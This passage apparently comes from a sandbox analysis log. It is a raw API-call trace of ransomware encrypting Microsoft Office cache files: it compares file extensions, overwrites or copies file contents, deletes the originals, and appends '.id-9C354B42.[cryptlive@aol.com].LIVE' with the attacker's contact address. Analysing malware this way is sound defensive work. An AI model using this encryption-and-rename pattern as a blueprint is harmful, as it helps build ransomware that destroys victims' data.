returned 4 [0045.045] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.045] lstrlenW (lpString=".docx") returned 5 [0045.045] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.045] lstrlenW (lpString=".pdf") returned 4 [0045.045] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.045] lstrlenW (lpString=".xls") returned 4 [0045.045] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.045] lstrlenW (lpString=".xlsx") returned 5 [0045.046] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.046] lstrlenW (lpString=".ppt") returned 4 [0045.046] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString=".zip") returned 4 [0045.046] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString=".rar") returned 4 [0045.046] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString=".bz2") returned 4 [0045.046] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.046] lstrlenW (lpString=".7z") returned 3 [0045.046] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString=".dbf") returned 4 [0045.046] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString=".1cd") returned 4 [0045.046] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString=".jpg") returned 4 [0045.046] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.046] lstrlenW (lpString=".doc") returned 4 [0045.046] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString=".docx") returned 5 [0045.046] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.046] lstrlenW (lpString=".pdf") returned 4 [0045.046] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString=".xls") returned 4 [0045.046] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString=".xlsx") returned 5 [0045.046] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.046] lstrlenW (lpString=".ppt") returned 4 [0045.046] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.046] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.047] lstrlenW (lpString=".zip") returned 4 [0045.047] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.047] lstrlenW (lpString=".rar") returned 4 [0045.047] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.047] lstrlenW (lpString=".bz2") returned 4 [0045.047] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.047] lstrlenW (lpString=".7z") returned 3 [0045.047] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.047] lstrlenW (lpString=".dbf") returned 4 [0045.047] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.047] lstrlenW (lpString=".1cd") returned 4 [0045.047] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.047] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0045.047] lstrlenW (lpString=".jpg") returned 4 [0045.047] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.047] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0045.047] lstrlenW (lpString="ProjLR.cab") returned 10 [0045.047] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0045.508] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8265165) returned 1 [0045.508] CloseHandle (hObject=0x1fc) returned 1 [0045.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0045.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.508] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0045.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0045.509] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.509] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.509] ReadFile (in: hFile=0x1fc, lpBuffer=0x34e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x34e0058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.513] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.513] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3520058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.516] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.516] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.516] ReadFile (in: hFile=0x1fc, lpBuffer=0x3560058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3560058*, lpNumberOfBytesRead=0x2b8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.531] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.531] WriteFile (in: hFile=0x1fc, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0045.835] SetEndOfFile (hFile=0x1fc) returned 1 [0045.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fa70f0 [0045.840] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.840] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.841] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.841] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.843] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.843] WriteFile (in: hFile=0x1fc, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x2b8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.846] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fa70f0 | out: hHeap=0x520000) returned 1 [0045.846] CloseHandle (hObject=0x1fc) returned 1 [0047.769] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0047.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.769] lstrlenW (lpString=".doc") returned 4 [0047.769] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString=".docx") returned 5 [0047.769] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.769] lstrlenW (lpString=".pdf") returned 4 [0047.769] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString=".xls") returned 4 [0047.769] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString=".xlsx") returned 5 [0047.769] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.769] lstrlenW (lpString=".ppt") returned 4 [0047.769] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.769] lstrlenW (lpString=".zip") returned 4 [0047.769] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString=".rar") returned 4 [0047.769] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.769] lstrlenW (lpString=".bz2") returned 4 [0047.769] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.769] lstrlenW (lpString=".7z") returned 3 [0047.770] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString=".dbf") returned 4 [0047.770] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString=".1cd") returned 4 [0047.770] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString=".jpg") returned 4 [0047.770] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString=".doc") returned 4 [0047.770] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString=".docx") returned 5 [0047.770] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.770] lstrlenW (lpString=".pdf") returned 4 [0047.770] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString=".xls") returned 4 [0047.770] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString=".xlsx") returned 5 [0047.770] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.770] lstrlenW (lpString=".ppt") returned 4 [0047.770] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.770] lstrlenW (lpString=".zip") returned 4 [0047.770] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.770] lstrlenW (lpString=".rar") returned 4 [0047.770] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.771] lstrlenW (lpString=".bz2") returned 4 [0047.771] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.771] lstrlenW (lpString=".7z") returned 3 [0047.771] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.771] lstrlenW (lpString=".dbf") returned 4 [0047.771] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.771] lstrlenW (lpString=".1cd") returned 4 [0047.771] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0047.771] lstrlenW (lpString=".jpg") returned 4 [0047.771] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.771] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0047.771] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0047.771] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.771] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=868864) returned 1 [0047.771] CloseHandle (hObject=0x210) returned 1 [0047.771] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0047.772] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0047.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.772] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.772] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.772] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0047.772] GetLastError () returned 0x0 [0047.772] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0047.821] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0048.089] ReadFile (in: hFile=0x210, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.089] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0048.089] SetEndOfFile (hFile=0x214) returned 1 [0048.089] CloseHandle (hObject=0x214) returned 1 [0048.096] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.096] SetEndOfFile (hFile=0x210) returned 1 [0048.104] CloseHandle (hObject=0x210) returned 1 [0048.104] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0048.104] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 1 [0048.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.104] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".doc") returned 4 [0048.105] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString=".docx") returned 5 [0048.105] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.105] lstrlenW (lpString=".pdf") returned 4 [0048.105] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.105] lstrlenW (lpString=".xls") returned 4 [0048.105] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.105] lstrlenW (lpString=".xlsx") returned 5 [0048.105] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.105] lstrlenW (lpString=".ppt") returned 4 [0048.105] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".zip") returned 4 [0048.105] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.105] lstrlenW (lpString=".rar") returned 4 [0048.105] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.105] lstrlenW (lpString=".bz2") returned 4 [0048.105] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString=".7z") returned 3 [0048.105] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".dbf") returned 4 [0048.105] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".1cd") returned 4 [0048.105] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".jpg") returned 4 [0048.105] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.105] lstrlenW (lpString=".doc") returned 4 [0048.105] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.105] lstrlenW (lpString=".docx") returned 5 [0048.106] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0048.106] lstrlenW (lpString=".pdf") returned 4 [0048.106] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.106] lstrlenW (lpString=".xls") returned 4 [0048.106] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.106] lstrlenW (lpString=".xlsx") returned 5 [0048.106] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0048.106] lstrlenW (lpString=".ppt") returned 4 [0048.106] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.106] lstrlenW (lpString=".zip") returned 4 [0048.106] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.106] lstrlenW (lpString=".rar") returned 4 [0048.106] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.106] lstrlenW (lpString=".bz2") returned 4 [0048.106] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.106] lstrlenW (lpString=".7z") returned 3 [0048.106] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.106] lstrlenW (lpString=".dbf") returned 4 [0048.106] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.106] lstrlenW (lpString=".1cd") returned 4 [0048.106] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0048.106] lstrlenW (lpString=".jpg") returned 4 [0048.106] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.106] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0048.106] lstrlenW (lpString="ose.exe") returned 7 [0048.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.107] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=174440) returned 1 [0048.107] CloseHandle (hObject=0x210) returned 1 [0048.107] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0048.107] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.107] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.107] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.107] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[cryptlive@aol.com].live"), 